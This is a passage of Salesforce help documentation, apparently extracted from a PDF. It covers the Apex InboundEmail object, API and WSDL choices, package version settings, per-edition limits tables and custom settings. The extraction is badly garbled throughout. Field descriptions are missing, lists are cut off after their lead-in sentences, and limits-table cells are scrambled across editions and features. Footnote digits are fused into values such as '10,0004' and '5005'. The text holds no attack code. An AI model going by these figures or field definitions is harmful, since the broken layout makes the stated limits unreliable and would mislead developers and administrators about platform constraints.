InboundEmail object to retrieve the contents, headers, and attachments of inbound email messages, as well as perform many
functions.
Note: For information on the Apex email service, see What are Email Services? on page 2057.
2062
Develop
2063
Develop
2064
Develop
2065
Develop
// Call the class and test it with the data in the test method.
unsubscribe unsubscribeObj = new unsubscribe();
unsubscribeObj.handleInboundEmail(email, env );
}
}
InboundEmail Object
An InboundEmail object has the following fields.
Name
Type
Description
binaryAttachments
ccAddresses
String[]
fromAddress
String
fromName
String
headers
InboundEmail.Header[]
htmlBody
String
htmlBodyIsTruncated
Boolean
inReplyTo
String
messageId
String
plainTextBody
String
plainTextBodyIsTruncated Boolean
references
String []
2066
Develop
Name
Type
Description
replyTo
String
subject
String
textAttachments
InboundEmail.TextAttachment[]
toAddresses
String[]
InboundEmail.Header Object
An InboundEmail object stores RFC 2822 email header information in an InboundEmail.Header object with the following
fields.
Name
Type
Description
name
String
value
String
InboundEmail.BinaryAttachment Object
An InboundEmail object stores binary attachments in an InboundEmail.BinaryAttachment object.
Examples of binary attachments include image, audio, application, and video files.
An InboundEmail.BinaryAttachment object has the following fields.
Name
Type
Description
body
Blob
fileName
String
mimeTypeSubType
String
InboundEmail.TextAttachment Object
An InboundEmail object stores text attachments in an InboundEmail.TextAttachment object.
The text attachments can be any of the following:
2067
Develop
Type
Description
body
String
bodyIsTruncated
Boolean
charset
String
The original character set of the body field. The body is re-encoded as UTF-8
as input to the Apex method.
fileName
String
mimeTypeSubType
String
InboundEmailResult Object
The InboundEmailResult object is used to return the result of the email service. If this object is null, the result is assumed to
be successful. The InboundEmailResult object has the following fields.
Name
Type
Description
success
Boolean
message
String
A message that Salesforce returns in the body of a reply email. This field can
be populated with text irrespective of the value returned by the Success
field.
InboundEnvelope Object
The InboundEnvelope object stores the envelope information associated with the inbound email, and has the following fields.
Name
Type
Description
toAddress
String
fromAddress
String
The name that appears in the From field of the envelope, if any.
See Also:
Apex Code Overview
What are Email Services?
Developer's Guide: Force.com Apex Code Developer's Guide
2068
Develop
To upload packages:
To create Apex:
Author Apex
When you create a managed package for Force.com AppExchange, you can specify a user to receive an email notification when
an exception occurs that is not caught by Apex. Uncaught exceptions can be thrown from:
See Also:
Apex Code Overview
Preparing Your Apps for Distribution
About Apex Unit Tests
Developer's Guide: Force.com Apex Code Developer's Guide
2069
Develop
API Enabled
Salesforce provides programmatic access to your organizations information using simple, powerful, and secure application
programming interfaces.
API Name
When to Use It
Protocol
REST API
Data Format
Communication
JSON, XML
Synchronous
Well-suited for
browser-based
applications, mobile
apps, and
highly-interactive social
applications.
SOAP API
Integrating your
organizations data with
other applications using
SOAP. Read more.
Synchronous
Chatter API
JSON, XML
Synchronous
(photos are
processed
asynchronously)
Bulk API
Loading or deleting
You have over a million REST
large numbers of records. records to process and
Read more.
speed is a requirement.
CSV, XML
Asynchronous
Metadata API
Managing
customizations in your
organization and
building tools that can
manage the metadata
Asynchronous
2070
Develop
API Name
When to Use It
Protocol
Data Format
Communication
Providing a stream of
data reflecting data
changes in your
organization. Read
more.
JSON
Asynchronous
(stream of data)
JSON, XML,
Custom
Synchronous
Synchronous
2071
Develop
See Also:
Downloading Salesforce WSDLs and Client Authentication Certificates
Web Services API Developer's Guide
Metadata API Developer's Guide
Bulk API Developer's Guide
2072
Develop
Customize Application
You can download a Web Services Description Language (WSDL) document to integrate your applications with Salesforce
using the API.
The following WSDLs are available:
Enterprise WSDL - Use this WSDL document to build an integration for a single organization.The enterprise WSDL
is strongly typed, which means that it contains objects and fields with specific data types, such as int and string.
Customers who use the enterprise WSDL document must download and re-consume it whenever their organization makes
a change to its custom objects or fields or whenever they want to use a different version of the API.
Partner WSDL - Use this WSDL to build an integration that can work across multiple Salesforce organizations, regardless
of their custom objects or fields. Typically partners and ISVs use this WSDL. It is loosely typed, which means that you
work with name-value pairs of field names and values instead of specific data types. The partner WSDL document only
needs to be downloaded and consumed once per version of the API.
Apex WSDL - Use this WSDL to run or compile Apex in another environment. See the Force.com Apex Code Developer's
Guide for details.
Metadata WSDL - Use this WSDL to to migrate configuration changes between organizations or work with the
customizations in your organization as XML metadata files. See the Force.com Metadata API Developer's Guide for details.
If you are downloading an enterprise WSDL and you have managed packages installed in your organization, click
Generate Enterprise WSDL. Salesforce prompts you to select the version of each installed package to include in the
generated WSDL.
Otherwise, right-click the link for the appropriate WSDL document to save it to a local directory. In the right-click
menu, Internet Explorer users can choose Save Target As, while Mozilla Firefox users can choose Save Link As.
3. On your computer, import the local copy of the WSDL document into your development environment.
Note: You can also select the default package versions without downloading a WSDL in the Package Version Settings
section.
Optionally, you can download a certificate to authenticate salesforce.com organizations. Use this certificate for workflow
outbound messaging. This certificate is meant to identify that the request is coming from salesforce.com, not a specific user.
If you want to use certificates to ensure secure connections using other Salesforce features, such as Apex callouts, use Salesforce
certificates and key pairs.
2073
Develop
Click Your Name > Setup > Develop > API, and on the WSDL Download page, right-click Download Client Certificate
and save it to an appropriate location. You can then import the downloaded certificate into your application server, and
configure your application server to request the client certificate.
See Also:
Which API Should I Use?
Defining Custom S-Controls
Force.com API Usage Limits
Managing Packages
Configuring Default Package Versions for API Calls
Documentation Resources for Force.com Developers
Customize Application
If you are downloading an enterprise WSDL and you have managed packages installed in your organization, you need to take
an extra step to select the version of each installed package to include in the generated WSDL. The enterprise WSDL is
strongly typed, which means that it contains objects and fields with specific data types, such as int and string.
A package version is a number that identifies the set of components uploaded in a package. The version number has the format
majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value
during every major release. The patchNumber is generated and updated only for a patch release. Publishers can use package
versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without
breaking existing customer integrations using the package. A subscriber can select a package version for each installed managed
package to allow their API client to continue to function with specific, known behavior even when they install subsequent
versions of a package. Each package version can have variations in the composition of its objects and fields, so you must select
a specific version when you generate the strongly typed WSDL.
To download an enterprise WSDL when you have managed packages installed:
1. Click Your Name > Setup > Develop > API.
2. Click Generate Enterprise WSDL.
3. Select the Package Version for each of your installed managed packages. If you are unsure which package version to
select, you should leave the default, which is the latest package version.
4. Click Generate.
5. Use the File menu in your browser to save the WSDL to your computer.
6. On your computer, import the local copy of the WSDL document into your development environment.
Note the following in your generated enterprise WSDL:
Each of your managed package version selections is included in a comment at the top of the WSDL.
2074
Develop
The generated WSDL contains the objects and fields in your organization, including those available in the selected versions
of each installed package. If a field or object is added in a later package version, you must generate the enterprise WSDL
with that package version to work with the object or field in your API integration.
The SOAP endpoint at the end of the WSDL contains a URL with a format of
serverName/services/Soap/c/api_version/ID where api_version is the version of the API, such as 25.0, and
ID encodes your package version selections when you communicate with Salesforce.
You can also select the default package versions for the enterprise WSDL without downloading a WSDL in the Package
Version Settings section of Your Name > Setup > Develop > API. Default package versions for API calls provide fallback
settings if package versions are not provided by an API call. Many API clients do not include package version information,
so the default settings maintain existing behavior for these clients.
See Also:
Which API Should I Use?
Downloading Salesforce WSDLs and Client Authentication Certificates
Configuring Default Package Versions for API Calls
Managing Packages
About Package Versions
Documentation Resources for Force.com Developers
Web Services API Developer's Guide
Customize Application
A package version is a number that identifies the set of components uploaded in a package. The version number has the format
majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value
during every major release. The patchNumber is generated and updated only for a patch release. Publishers can use package
versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without
breaking existing customer integrations using the package.
Default package versions for API calls provide fallback settings if package versions are not provided by an API call. Many API
clients do not include package version information, so the default settings maintain existing behavior for these clients.
You can specify the default package versions for enterprise API and partner API calls. The enterprise WSDL is for customers
who want to build an integration with their Salesforce organization only. It is strongly typed, which means that calls operate
on objects and fields with specific data types, such as int and string. The partner WSDL is for customers, partners, and
ISVs who want to build an integration that can work across multiple Salesforce organizations, regardless of their custom objects
or fields. It is loosely typed, which means that calls operate on name-value pairs of field names and values instead of specific
data types.
2075
Develop
You must associate the enterprise WSDL with specific package versions to maintain existing behavior for clients. There are
options for setting the package version bindings for an API call from client applications using either the enterprise or partner
WSDL. The package version information for API calls issued from a client application based on the enterprise WSDL is
determined by the first match in the following settings.
1. The PackageVersionHeader SOAP header.
2. The SOAP endpoint contains a URL with a format of serverName/services/Soap/c/api_version/ID where
api_version is the version of the API, such as 25.0, and ID encodes your package version selections when the enterprise
WSDL was generated.
3. The default enterprise package version settings.
The partner WSDL is more flexible as it is used for integration with multiple organizations. If you choose the Not Specified
option for a package version when configuring the default partner package versions, the behavior is defined by the latest
installed package version. This means that behavior of package components, such as an Apex trigger, could change when a
package is upgraded and that change would immediately impact the integration. Subscribers may want to select a specific
version for an installed package for all partner API calls from client applications to ensure that subsequent installations of
package versions do not affect their existing integrations.
The package version information for partner API calls is determined by the first match in the following settings.
1. The PackageVersionHeader SOAP header.
2. An API call from a Visualforce page uses the package versions set for the Visualforce page.
3. The default partner package version settings.
To configure default package versions for API calls:
1. Click Your Name > Setup > Develop > API.
2. Click Configure Enterprise Package Version Settings or Configure Partner Package Version Settings. These links are
only available if you have at least one managed package installed in your organization.
3. Select a Package Version for each of your installed managed packages. If you are unsure which package version to
select, you should leave the default selection.
4. Click Save.
Note: Installing a new version of a package in your organization does not affect the current default settings.
See Also:
Downloading Salesforce WSDLs and Client Authentication Certificates
Managing Packages
About Package Versions
Documentation Resources for Force.com Developers
Web Services API Developer's Guide
2076
Develop
Analytics Limits
Additional Custom Field Limits
Email Limits
Salesforce Knowledge Limits
Rules Limits
Workflow and Approvals Limits
Personal
Edition
Contact
Manager
Group
Edition
Professional Enterprise
Edition
Edition
Unlimited
Edition
Developer
Edition
N/A
N/A
N/A
N/A
75
75
5 per object 5 per object 5 per object 5 per object 5 per object 5 per object 5 per object
N/A
75
20 per
object
20 per
object
500 per
object
100 per
object
5 MB for
file
attachments.
2 GB for
feed
attachments.
5 MB for
file
attachments.
2 GB for
feed
attachments.
5 MB for
file
attachments.
2 GB for
feed
attachments.
5 MB for
file
attachments.
2 GB for
feed
attachments.
5 MB for
file
attachments.
2 GB for
feed
attachments.
5 MB for
file
attachments.
2 GB for
feed
attachments.
Categories: Maximum
N/A
Default Number of
Categories and Hierarchy
Levels
N/A
N/A
N/A
100
categories
100
categories
100
categories
Category Groups:
Maximum Default
Number of Category
Groups
N/A
N/A
N/A
N/A
5 category
groups and
3 active
category
groups
5 category
groups and
3 active
category
groups
5 category
groups and
3 active
category
groups
Certificates: Maximum
Number of Certificates
N/A
N/A
N/A
N/A
50
50
50
Content Deliveries:
Default Delivery
Bandwidth per Rolling
24-hour Window
1 GB
1 GB
1 GB
1 GB
1 GB
1 GB
1 GB
Content Deliveries:
Default Delivery View
Counts per Rolling
24-hour Window
20,000
20,000
20,000
20,000
20,000
20,000
20,000
Content Deliveries:
Maximum File Size for
Online Viewing
25 MB
25 MB
25 MB
25 MB
25 MB
25 MB
25 MB
2077
Develop
Feature
Content: Maximum File
Size
Personal
Edition
Contact
Manager
Group
Edition
Professional Enterprise
Edition
Edition
Unlimited
Edition
Developer
Edition
2 GB
10 MB for Google Docs
38 MB when uploaded via the API
10 MB when uploaded via Visualforce
Content: Maximum
Number of Libraries
2,000
2,000
2,000
2,000
2,000
2,000
2,000
Content: Maximum
Number of Content
Documents
500,000
500,000
500,000
500,000
500,000
500,000
500,000
Content: Maximum
5,000
Number of Content
Documents and Versions
in a 24hour Period
(Adjustable)
5,000
5,000
5,000
5,000
5,000
5,000
50
50
50
50
50
50
Custom Apps
10
Unlimited
10
100 per
object
100 per
object
500 per
object
800 per
object
500 per
object
N/A
N/A
N/A
5,000
5,000
5,000
5,000
1,024
characters
1,024
characters
1,024
characters
1,024
characters
1,024
characters
1,024
characters
N/A
Custom Links: Maximum 3,000 bytes2 3,000 bytes2 3,000 bytes2 3,000 bytes2 3,000 bytes2 3,000 bytes2 3,000 bytes2
Length of Link URL
Custom Objects
N/A
50
50
200
2,000
400
2078
Develop
Feature
Personal
Edition
Contact
Manager
Group
Edition
Professional Enterprise
Edition
Edition
Unlimited
Edition
Developer
Edition
N/A
23
23
23
23
23
23
The lesser of
10 MB or 1
MB
multiplied
by the
number of
full-featured
user licenses
in your
organization
The lesser of
10 MB or 1
MB
multiplied
by the
number of
full-featured
user licenses
in your
organization
The lesser of
10 MB or 1
MB
multiplied
by the
number of
full-featured
user licenses
in your
organization
Custom Settings:
300
Maximum Number of
Fields Per Custom Setting
N/A
300
N/A
300
300
300
Divisions: Maximum
Number of Divisions
N/A
N/A
100
100
100
N/A
N/A
2079
Develop
Feature
Personal
Edition
Contact
Manager
Group
Edition
Professional Enterprise
Edition
Edition
Unlimited
Edition
Developer
Edition
Documents: Maximum
20 KB
Size of Custom App Logo
20 KB
20 KB
20 KB
20 KB
20 KB
20 KB
Documents: Maximum
Size of Document to
Upload
5 MB
5 MB
5 MB
5 MB
5 MB
5 MB
Documents: Maximum
255
File Name Size (Including characters
File Extension Name)
255
characters
255
characters
255
characters
255
characters
255
characters
255
characters
N/A
N/A
N/A
5 MB
1,000
1,000
1,000
1,000
1,000
1,000
Events: Maximum
Number of Invitees and
Resources for Recurring
Events
100
100
100
100
100
100
20
20
20
20
20
20
2 GB
2 GB
2 GB
2 GB
2 GB
2 GB
250
250
250
250
250
250
Formulas: Maximum
Number of Characters
3,900
characters
3,900
characters
3,900
characters
3,900
characters
3,900
characters
3,900
characters
3,900
characters
Formulas: Maximum
Number of Displayed
Characters After an
Evaluation of a Formula
Expression
1,300
characters
1,300
characters
1,300
characters
1,300
characters
1,300
characters
1,300
characters
1,300
characters
N/A
2080
Develop
Feature
Personal
Edition
Contact
Manager
Group
Edition
Professional Enterprise
Edition
Edition
Formulas: Maximum
Formula Size (in Bytes)
When Saved
Formulas: Maximum
Formula Size (in Bytes)
When Compiled
Formulas: Number of
10
Unique Relationships Per
Object
10
10
10
Formulas: VLOOKUP
Functions
10 per
object
10 per
object
N/A
Developer
Edition
10
10
10 per
object
10 per
object
N/A
32 KB
32 KB
32 KB
32 KB
N/A
N/A
4 KB
4 KB
4 KB
4 KB
Master-Detail
10,0004
Relationship: Maximum
Number of Child Records
10,0004
10,0004
10,0004
10,0004
10,0004
10,0004
Objects: Maximum
Number of Deleting
Combined Objects and
Child Records
100,000
100,000
100,000
100,000
100,000
100,000
100,000
Permission sets
N/A
N/A
N/A
N/A
1,000
1,000
1,000
N/A
N/A
N/A
5 MB
5 MB
5 MB
5 MB
N/A
N/A
N/A
150 pixels
150 pixels
150 pixels
150 pixels
25 times
your storage
capacity in
MBs
25 times
your storage
capacity in
MBs
25 times
your storage
capacity in
MBs
25 times
your storage
capacity in
MBs
25 times
your storage
capacity in
MBs
25 times
your storage
capacity in
MBs
25 times
your storage
capacity in
MBs
Shared Activities
10 per
object
N/A
10
Unlimited
Edition
Users can relate non-recurring and non-group tasks to up to 10 contacts, one of which users
designate as a primary contact.
Sharing Rules
N/A
N/A
N/A
Static Resources
N/A
A single
A single
A single
A single
A single
A single
static
static
static
static
static
static
resource can resource can resource can resource can resource can resource can
be up to 5
MB in size.
2081
Develop
Feature
Personal
Edition
Contact
Manager
Group
Edition
Professional Enterprise
Edition
Edition
Unlimited
Edition
Developer
Edition
be up to 5 be up to 5 be up to 5
be up to 5 be up to 5 An
MB in size. MB in size. MB in size. MB in size. MB in size. organization
can have up
An
An
An
An
An
to 250 MB
organization organization organization organization organization
of static
can have up can have up can have up can have up can have up
resources,
to 250 MB to 250 MB to 250 MB to 250 MB to 250 MB
total.
of static
of static
of static
of static
of static
resources,
resources,
resources,
resources,
resources,
total.
total.
total.
total.
total.
Tabs
N/A
10
25
Unlimited
100
Territories: Maximum
Number of Account
Assignment Rules
N/A
N/A
N/A
N/A
15
15
15
10
Unlimited
Unlimited
Unlimited
Visual Workflow
N/A
N/A
5000
5000
5000
5000
5000
5000
Chatter Free Chatter Free Chatter Free Chatter Free Chatter Free Chatter Free
N/A
N/A
2082
Develop
Feature
Personal
Edition
Contact
Manager
Group
Edition
Professional Enterprise
Edition
Edition
Unlimited
Edition
Developer
Edition
N/A
N/A
5,0005
5,0005
5,0005
5,0005
N/A
N/A
5005
5005
5005
5005
You can add an attachment to the Attachments related list of a case, solution, campaign, task, or event, or to the Notes and
Attachments related list of an account, contact, lead, opportunity, or custom object. If you don't see the related list on task or
event page layouts, you may need to ask your administrator to add it. All file types are supported, including everything from
Microsoft PowerPoint presentations and Excel spreadsheets, to Adobe PDFs, image files, audio files, and video files.
2
When data is substituted for the tokens in the URL, the link may exceed 3,000 bytes. Your browser may enforce additional
limits for the maximum URL length.
3
As a best practice, don't exceed 10,000 child records for a master-detail relationship.
If your organization exceeds its daily Web-to-Case or Web-to-Lead limit, the default case owner or default lead creator
receives a notification email containing information about the case or lead. When your organization reaches the 24hour limit,
salesforce.com stores additional requests in a pending request queue that contains both Web-to-Case and Web-to-Lead
requests. The requests are submitted when the limit refreshes. The pending request queue has a limit of 50,000 combined
requests. If your organization reaches the pending request limit, additional requests are rejected and not queued. Your
administrator receives email notifications for the first five rejected submissions. Contact salesforce.com Customer Support to
change your organization's pending request limit.
Analytics Limits
Note: Additional dynamic dashboards, scheduled reports, scheduled dashboards, and scheduled analytic snapshots
may be available for purchase. Contact your salesforce.com representative for information.
Feature
Personal
Edition
Contact
Manager
Group
Edition
Professional Enterprise
Edition
Edition
Unlimited
Edition
Developer
Edition
20
20
20
20
20
20
20
Scheduled Reports
N/A
N/A
N/A
One per
One per
hour2
hour2
(off-peak
hours only3)
Two per
hour2
One per
hour2
(off-peak
hours only3)
(Limited to
three
(Limited to
three
2083
Develop
Feature
Personal
Edition
Contact
Manager
Group
Edition
Professional Enterprise
Edition
Edition
Unlimited
Edition
preferred
start times,
which can't
be changed)
Developer
Edition
preferred
start times,
which can't
be changed)
Dynamic Dashboards
N/A
N/A
N/A
N/A
Up to five
Up to 10 per Up to three
per
organization per
organization
organization
Scheduled Dashboard
Refreshes
N/A
N/A
N/A
N/A
One per
hour2
Two per
hour2
N/A
N/A
N/A
50
50
200
2,000
400
N/A
N/A
N/A
One per
One per
hour2
hour2
(off-peak
hours only3)
Two per
hour2
One per
hour2
(off-peak
hours only3)
(Limited to
one
preferred
start time
per day,
which can't
be changed)
These limits apply to the report builder. If youre using the report wizard, the limit is 10.
(Limited to
one
preferred
start time
per day,
which can't
be changed)
The report builder preview shows a maximum of 20 rows for summary and matrix reports, and 50 rows for tabular.
You can't have more than 250 groups or 4,000 values in a chart. If you see an error message saying that your chart
has too many groups or values to plot, adjust the report filters to reduce the number. In combination charts, all groups
and values count against the total.
Reports display a maximum of 2,000 rows. To view all the rows, export the report to Excel or use the printable view
for tabular and summary reports.
Summary and matrix reports display the first 2,000 groupings when Show Details is disabled.
Matrix reports display a maximum of 400,000 summarized values.
Matrix reports display a maximum of 2,000 groupings in the vertical axis when Show Details is disabled. If there
are more than 400,000 summarized values, rows are removed until the 2,000 groupings limit is met, then columns
are removed until the number of summarized values moves below 400,000.
2084
Develop
By default, reports time out after 10 minutes. Contact salesforce.com to extend the time-out limit to 20 minutes for
tabular, summary, and matrix reports (joined reports will continue to time out after 10 minutes).
In a joined report, each block can have up to 100 columns. A joined report can have up to 5 blocks.
You can add up to 10 custom summary formulas to each block in a joined report. A joined report can have a total of
50 custom summary formulas.
Each joined report can have up to 10 cross-block custom summary formulas.
Dashboard Limits
A dashboard filter can have up to 50 options. By default, 10 options are enabled. Contact salesforce.com to extend
your limit.
Each dashboard can have up to 20 components.
A dashboard table or chart can display up to 20 photos.
You must wait at least one minute between dashboard refreshes.
A custom report type can contain up to 60 object references. For example, if you select the maximum limit of four
object relationships for a report type, then you could select fields via lookup from an additional 56 objects. However,
users will receive an error message if they run a report from a custom report type and the report contains columns
from more than 20 different objects.
You can add up to 1000 fields to each custom report type.
The maximum number of rows you can insert into a custom object is 2,000.
The maximum number of runs you can store is 200.
The maximum number of source report columns you can map to target fields is 100.
Contact
Manager
Group
Edition
Professional
Edition
Enterprise
Edition
Developer
Edition
Unlimited
Edition
100
100
100
There are no limits to the number of rich text area and long text area fields that an object can contain, although
your Edition's limit for the total number of custom fields allowed on an object, regardless of field type, applies.
Each object can contain a total of 1.6 million characters across long text area and rich text area fields. The
default character limit for long text area and rich text area fields is 32,768 characters. A long text area or rich
text area field needs to contain at least 256 characters.
No additional 25
limit
25
25
25
25
25
2085
Develop
Contact
Manager
No additional 10
limit
Group
Edition
Professional
Edition
Enterprise
Edition
Developer
Edition
Unlimited
Edition
10
10
10
10
10
Email Limits
Feature
Personal
Edition
Contact
Manager
Group
Edition
Professional Enterprise
Edition
Edition
Unlimited
Edition
Email Templates:
Maximum Size
384 KB for
text email
templates
Email to Salesforce
Developer
Edition
N/A
N/A
Number of
user licenses
multiplied
by 1,000, up
to a daily
maximum of
1,000,000
Number of
user licenses
multiplied
by 1,000, up
to a daily
maximum of
1,000,000
Number of
user licenses
multiplied
by 1,000, up
to a daily
maximum of
1,000,000
Number of
user licenses
multiplied
by 1,000, up
to a daily
maximum of
1,000,000
N/A
N/A
10 MB1
10 MB1
10 MB1
10 MB1
N/A
N/A
2,500
2,500
2,500
2,500
1,000
1,000
1,000
1,000
1,000
1,000
1,000
1 MB
1 MB
1 MB
1 MB
1 MB
1 MB
1 MB
Merge Field:
N/A
N/A
On-Demand
N/A
Email-to-Case: Maximum
Email Attachment Size
N/A
N/A
Case.Email_Thread
10 MB
10 MB
10 MB
10 MB
2086
Develop
Feature
Personal
Edition
On-Demand
N/A
Email-to-Case: Maximum
Number of Email
Messages Processed
Contact
Manager
Group
Edition
Professional Enterprise
Edition
Edition
Unlimited
Edition
Developer
Edition
N/A
N/A
Number of
user licenses
multiplied
by 1,000, up
to a daily
maximum of
1,000,000
Number of
user licenses
multiplied
by 1,000, up
to a daily
maximum of
1,000,000
Number of
user licenses
multiplied
by 1,000, up
to a daily
maximum of
1,000,000
Number of
user licenses
multiplied
by 1,000, up
to a daily
maximum of
1,000,000
The maximum size of email messages for Email Services varies depending on language and character set.
Contact
Manager
Group
Edition
Professional Enterprise
Edition
Edition
Article amount
N/A
N/A
N/A
N/A
Article types
N/A
N/A
N/A
N/A
File field
N/A
N/A
N/A
N/A
Article import
N/A
N/A
N/A
N/A
N/A
N/A
N/A
Unlimited
Edition
Developer
Edition
2087
Develop
Salesforce
Personal
Knowledge Limits Edition
Contact
Manager
Group
Edition
Professional Enterprise
Edition
Edition
Developer
Edition
Unlimited
Edition
N/A
N/A
N/A
N/A
N/A
N/A
Data categories
N/A
from a data category
group assigned to an
article
N/A
N/A
N/A
Rules Limits
Different types of rules can have restrictions, depending on your Salesforce edition. The following table shows the restrictions
for each edition.
Restrictions
Personal
Edition
Contact
Manager
Group
Edition
Professional
Edition
Enterprise
Edition
Developer
Edition
Unlimited
Edition
Active Rules
N/A
N/A
N/A
50 per object
50 per object
50 per object
50 per object
N/A
N/A
N/A
300 per object 300 per object 300 per object 300 per object
(Limits apply
to any
combination
of active
workflow,
assignment,
auto-response,
and escalation
rules.
Total Rules
Allowed
1,000 per
organization
(Limits apply
to any
combination
of workflow,
assignment,
auto-response,
and escalation
rules, both
active and
inactive.)
Assignment, N/A
Auto-response,
and
Escalation
Rules
N/A
N/A
1,000 per
organization
1,000 per
organization
1,000 per
organization
2088
Develop
Restrictions
Personal
Edition
Contact
Manager
Group
Edition
Professional
Edition
N/A
N/A
Enterprise
Edition
Developer
Edition
Unlimited
Edition
200
200
200
200
Personal
Edition
Contact
Manager
Group
Edition
Professional Enterprise
Edition
Edition
N/A
N/A
N/A
Developer
Edition
Unlimited
Edition
N/A
N/A
N/A
Workflow Rules
and Approval
Processes
N/A
N/A
N/A
N/A
Workflow Time
N/A
Triggers Per Hour
(For more
information, see
Time-Dependent
N/A
N/A
250
10 email alerts
10 tasks
10 field updates
10 outbound messages
500
50
1,000
(Workflow is
available as
an add-on
feature for
2089
Develop
Workflow and
Approvals Limits
Personal
Edition
Contact
Manager
Group
Edition
Professional Enterprise
Edition
Edition
Developer
Edition
Unlimited
Edition
1,000 per
standard
Salesforce
license
1,000 per
standard
Salesforce
license
Professional
Edition.)
N/A
N/A
N/A
N/A
(For more
information, see
Workflow Daily
Email Limit on
page 1793.)
1,000 per
standard
Salesforce
license
2,000,000
2,000,000 per 2,000,000
per
organization per
organization
organization
See Also:
Monitoring Resources
Force.com API Usage Limits
Customer Portal Setup Limits
Salesforce.com Limits Quick Reference
Customize Application
Custom settings are similar to custom objects and enable application developers to create custom sets of data, as well as create
and associate custom data for an organization, profile, or specific user. All custom settings data is exposed in the application
cache, which enables efficient access without the cost of repeated queries to the database. This data can then be used by formula
fields, validation rules, Apex, and the SOAP API.
There are two types of custom settings:
List Custom Settings
A type of custom setting that provides a reusable set of static data that can be accessed across your organization. If you
use a particular set of data frequently within your application, putting that data in a list custom setting streamlines access
to it. Data in list settings does not vary with profile or user, but is available organization-wide. Examples of list data
2090
Develop
include two-letter state abbreviations, international dialing prefixes, and catalog numbers for products. Because the data
is cached, access is low-cost and efficient: you don't have to use SOQL queries that count against your governor limits.
Hierarchy Custom Settings
A type of custom setting that uses a built-in hierarchical logic that lets you personalize settings for specific profiles or
users. The hierarchy logic checks the organization, profile, and user settings for the current user and returns the most
specific, or lowest, value. In the hierarchy, settings for an organization are overridden by profile settings, which, in
turn, are overridden by user settings.
The following examples illustrate how you can use custom settings:
A shipping application requires users to fill in the country codes for international deliveries. By creating a list setting of all
country codes, users have quick access to this data without needing to query the database.
An application calculates and tracks compensation for its sales reps, but commission percentages are based on seniority.
By creating a hierarchy setting, the administrator can associate a different commission percentage for each profile in the
sales organization. Within the application, one formula field can then be used to correctly calculate compensation for all
users; the personalized settings at the profile level inserts the correct commission percentage.
An application displays a map of account locations, the best route to take, and traffic conditions. This information is useful
for sales reps, but account executives only want to see account locations. By creating a hierarchy setting with custom
checkbox fields for route and traffic, you can enable this data for just the Sales Rep profile.
You can also include a custom setting in a package. The visibility of the custom setting in the package depends on the
Visibility setting.
Note: Only custom settings definitions are included in packages, not data. If you need to include data, you must
populate the custom settings using a standard Apex or API script run by the subscribing organization after they have
installed the package.
Click Edit next to the name of a custom setting to change the name, label, or description of a custom setting.
Click Del to delete a custom setting.
Note: A icon indicates that the custom setting is in an installed managed package. You cant edit or delete a
custom setting installed from a managed package.
2091
Develop
Click Manage to add data to a custom setting. You should add fields before you add data.
See Also:
Accessing Custom Settings
Custom Settings Limits
Defining Custom Settings
Viewing Custom Settings
Customize Application
Salesforce imposes these limits on the amount of cached data and on custom settings:
The total amount of cached data allowed for your organization is the lesser of these two values:
10 MB
1 MB multiplied by the number of full-featured user licenses in your organization
For example, if your organization has three full licenses, you have 3 MB of custom setting storage. If your organization
has six full licenses, you have 10 MB of storage.
300 fields per custom setting.
You cant share a custom setting object or record.
No owner is assigned when a custom setting is created, so the owner cant be changed.
Custom settings are a type of custom object. Each custom setting counts against the total number of custom objects available
for your organization. For information about the number of custom objects available based on edition, see Salesforce
Editions and Limits on page 2076.
To see how much custom settings data your organization is using, click Your Name > Setup > Develop > Custom Settings.
This page also details how much resource each custom setting uses, including the number of records and the size of the custom
setting definition.
See Also:
Custom Settings Overview
Accessing Custom Settings
Defining Custom Settings
Adding Custom Settings Fields
Adding Custom Settings Data
2092
Develop
Customize Application
You can access custom settings from formula fields, validation rules, Apex, and the SOAP API. Some sample code segments
are provided below.
Formula Fields
Formula fields only work for hierarchy custom settings; they cant be used for list custom settings. For more information,
see Creating On-Demand Applications: An Introduction to the Force.com Platform.
{!$Setup.CustomSettingName__c.CustomFieldName__c}
Apex
Apex can access both custom setting types.
Note: If Privacy for a custom setting is Protected, and the custom setting is contained in a managed package,
the subscribing organization cannot edit the values or access them using Apex.
For more information on all the custom setting methods and Apex, see the Force.com Apex Code Developer's Guide.
Samples for List Custom Settings
When you add data to a custom setting, you must name each set of data. Then you can distinguish between the
sets of data by the data set name. The following returns a map of custom settings data. The getAll method returns
values for all custom fields associated with the list setting.
Map<String_dataset_name, CustomSettingName__c> mcs = CustomSettingName__c.getAll();
The following example uses the getValues method to return all the field values associated with the specified
data set. This method can be used with both list and hierarchy custom settings, using different parameters.
CustomSettingName__c mc = CustomSettingName__c.getValues(data_set_name);
2093
Develop
The following example uses the getInstance method to return the data set values for the specified profile. The
getInstance method can also be used with a user Id.
CustomSettingName__c mc = CustomSettingName__c.getInstance(Profile_ID);
SOAP API
Custom settings that have Privacy defined as Public are exposed to the API in the same way custom objects are exposed.
Note: If Privacy is defined as Protected, and the custom setting is contained in a managed package, the
custom setting is not accessible using the API in either the developer organization or a subscribing organization.
Use any tool with API access to perform query or profile-permission-setting operations. For more information, see the
SOAP API Developer's Guide.
Note: You can also access custom settings data through a Standard Object Query Language (SOQL) query but this
method doesn't make use of the application cache. Its similar to querying a custom object.
See Also:
Custom Settings Overview
Custom Settings Limits
Defining Custom Settings
Apex Code Overview
Customize Application
2094
Develop
Setting TypeSelect a type of List or Hierarchy. The List type defines application-level data, such as country codes
or state abbreviations. The Hierarchy type defines personalization settings, such as default field values, that can be
overridden at lower levels in the hierarchy.
Important: After you save a custom setting, you cannot change this value.
ProtectedIf the custom setting is contained in a managed package, subscribing organizations can't see the custom
setting: it doesn't display as part of the package list. In addition, subscribing organizations can't access the custom
setting using either Apex or the API, however, developer organizations can. If the custom setting is contained in
an unmanaged package, the custom setting is available through the Enterprise WSDL like any custom object (as
if the Visibility was Public.)
PublicThe custom setting is available through the Enterprise WSDL like any custom object. You can package
custom settings defined as public. The subscribing organizations can edit the values, as well as access them using
Apex and the API, regardless of the type of package (either managed or unmanaged).
Important: After you save a custom setting, you cannot change this value.
4. Enter an optional description of the custom setting. A meaningful description will help you remember the differences
between your custom settings when youre viewing them in a list.
5. Click Save.
Note: Only custom settings definitions are included in packages, not data. If you need to include data, you must
